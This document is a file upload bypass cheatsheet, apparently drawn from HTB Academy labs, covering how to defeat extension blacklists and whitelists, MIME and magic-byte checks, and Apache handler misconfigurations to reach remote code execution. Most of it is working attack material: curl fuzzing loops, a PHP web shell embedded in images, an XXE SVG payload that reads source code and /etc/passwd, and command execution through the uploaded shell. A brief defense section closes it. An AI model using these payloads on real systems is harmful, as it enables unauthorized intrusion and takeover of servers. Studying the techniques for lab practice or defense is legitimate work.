File Upload Bypass Cheatsheet
Quick reference for bypassing file upload filters to achieve RCE — from HTB Academy
File Upload Attacks module + HTB practice. Always enumerate first, then rotate techniques.
1. Recon / Enumeration
# Find upload endpoints & form structure
curl -s http://TARGET/ | grep -iE "form|input|action|upload"
curl -s http://TARGET/script.js # client-side validation? (bypassable)
# Upload dir hint: /profile_images/, /uploads/, /images/ — check <img src>
# Check if validation is client-side only: try a direct POST (curl -F) with any name
curl -s -F "[email protected]" http://TARGET/upload.php
Error messages reveal the filter type:
- Extension not allowed → blacklist (blocked extension)
- Only images are allowed → whitelist (allowed extensions)
- Empty response / success message → uploaded ✓
2. Blacklist Bypass (blocked extension)
Fuzz the upload with extension rotations:
for ext in php php3 php4 php5 php7 phtml phar phps pht shtml asp aspx jsp; do
echo -n "shell.$ext -> "
curl -s -F "[email protected];filename=shell.$ext;type=image/jpeg" http://TARGET/upload.php
echo
done
Tricks:
- Extension rotation: .php3 .php4 .php5 .php7 .phtml .phar .phps .pht — many apps block only .php
- Case: shell.PHP, shell.PhP — filters that are case-sensitive
- Double extension: shell.jpg.php — blacklists checking the last extension only
- Character injection: shell.php%00.jpg (PHP < 5.3.4 null byte), shell.php%20, shell.php:.jpg (Windows), shell.php/./jpg
- .htaccess: upload a .htaccess with AddType application/x-httpd-php .jpg → then shell.jpg runs PHP (only if .htaccess upload is allowed + AllowOverride All)
- web.config (IIS): <staticContent><mimeMap fileExtension=".php" mimeType="application/x-httpd-php"/></staticContent>
3. Whitelist Bypass (only images allowed)
# Reverse Double Extension — ends with allowed ext, contains a PHP ext:
# shell.phtml.jpg / shell.phar.jpg / shell.php.jpg
curl -s -F "[email protected];filename=shell.phtml.jpg;type=image/jpeg" http://TARGET/upload.php
# Fuzz which extensions pass the whitelist
for ext in php phtml phar pht shtml; do
echo -n "shell.$ext.jpg -> "
curl -s -F "[email protected];filename=shell.$ext.jpg;type=image/jpeg" http://TARGET/upload.php
echo
done
Why reverse double extension works: Apache config like
<FilesMatch ".+\.ph(ar|p|tml)"> SetHandler application/x-httpd-php </FilesMatch>
matches the name containing .php/.phar/.phtml (missing $ anchor) → the file executes
PHP even though it ends in .jpg (which passed the whitelist).
Character injection permutations (generate a wordlist for Burp Intruder):
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
for ext in '.php' '.phps' '.phtml' '.phar' '.pht'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done
4. Content Validation Bypass (magic bytes / MIME)
# MIME type spoofing (Content-Type in the request)
curl -s -F "[email protected];filename=shell.jpg;type=image/jpeg" http://TARGET/upload.php
# Magic bytes prefix — keep the extension .php, prepend image header
printf '\xff\xd8\xff\xe0\xff\x10JFIF\x00' > shell.jpg.php
cat shell.php >> shell.jpg.php # PHP after the JPEG header
# or with GIF: printf 'GIF89a;' > shell.php; cat shell.php >> shell.gif.php
# Polyglot image shell (real image + PHP payload) — exiftool
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# then append: echo '<?php system($_GET["cmd"]); ?>' >> image.jpg
5. Execute & Verify
# Find the uploaded file path, then:
curl -s "http://TARGET/profile_images/shell.phtml.jpg?cmd=id"
curl -s "http://TARGET/profile_images/shell.phtml.jpg?cmd=cat%20/flag.txt"
# If source is echoed back (not executed) → wrong extension, try another
# If 404 → wrong upload dir or name mangling
5b. XXE via SVG upload → source disclosure (find upload dir + naming)
If the whitelist allows .svg and the app parses XML server-side, upload an SVG with XXE to READ THE APP SOURCE — revealing the upload directory + filename scheme, which unblocks RCE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10">&xxe;</svg>
- SVG must have
width/heightattributes (else getimagesize-style validation rejects: "Image type not recognized"). - The resolved entity comes back IN THE UPLOAD RESPONSE — no need to find the stored file first.
php://filter/convert.base64-encode/resource=upload.php→ base64 source;file:///etc/passwd;file:///flag.txt.- Fuzz extensions WITH VALID IMAGE CONTENT (real PNG renamed), not PHP text — else the content check masks the real whitelist.
- Proven on the Skills Assessment: XXE → source →
./user_feedback_submissions/+date('ymd')_<name>→ polyglotshell.phar.jpg→260824_shell.phar.jpg?cmd=→ RCE →flag_<random>.txtla rădăcină.
6. Real Example (HTB Academy — blacklist + whitelist combo)
Target had both filters: whitelist (only .jpg/.jpeg/.png) + blacklist (.php*).
Client-side JS also checked the last extension — bypassed with direct POST.
# 1. Fuzz uploads (results):
# shell.php.jpg -> "Extension not allowed" (blacklist catches .php substring)
# shell.phtml.jpg -> "File successfully uploaded" ✓
# shell.phar.jpg -> "File successfully uploaded" ✓
# 2. Test execution:
curl -s "http://TARGET/profile_images/shell.phtml.jpg?cmd=id" # uid=33(www-data) → RCE!
curl -s "http://TARGET/profile_images/shell.phtml.jpg?cmd=cat%20/flag.txt"
# → HTB{1_wh173l157_my53lf}
Chain: whitelist (ends .jpg) ✓ → blacklist bypass (.phtml not blocked) ✓ →
Apache FilesMatch ph(ar|p|tml) without $ executes it as PHP → RCE as www-data.
7. Defense Notes (what stops this)
- Whitelist with anchored regex:
preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $name) - Randomize stored filenames (never trust the client filename)
- Validate magic bytes + re-encode images (GD/Imagick) — kills polyglots
FilesMatchpatterns anchored with$+ disable execution in upload dirs
(php_admin_flag engine off/<Directory> php_flag engine off)- Serve uploads from a separate domain/CDN with
Content-Disposition: attachment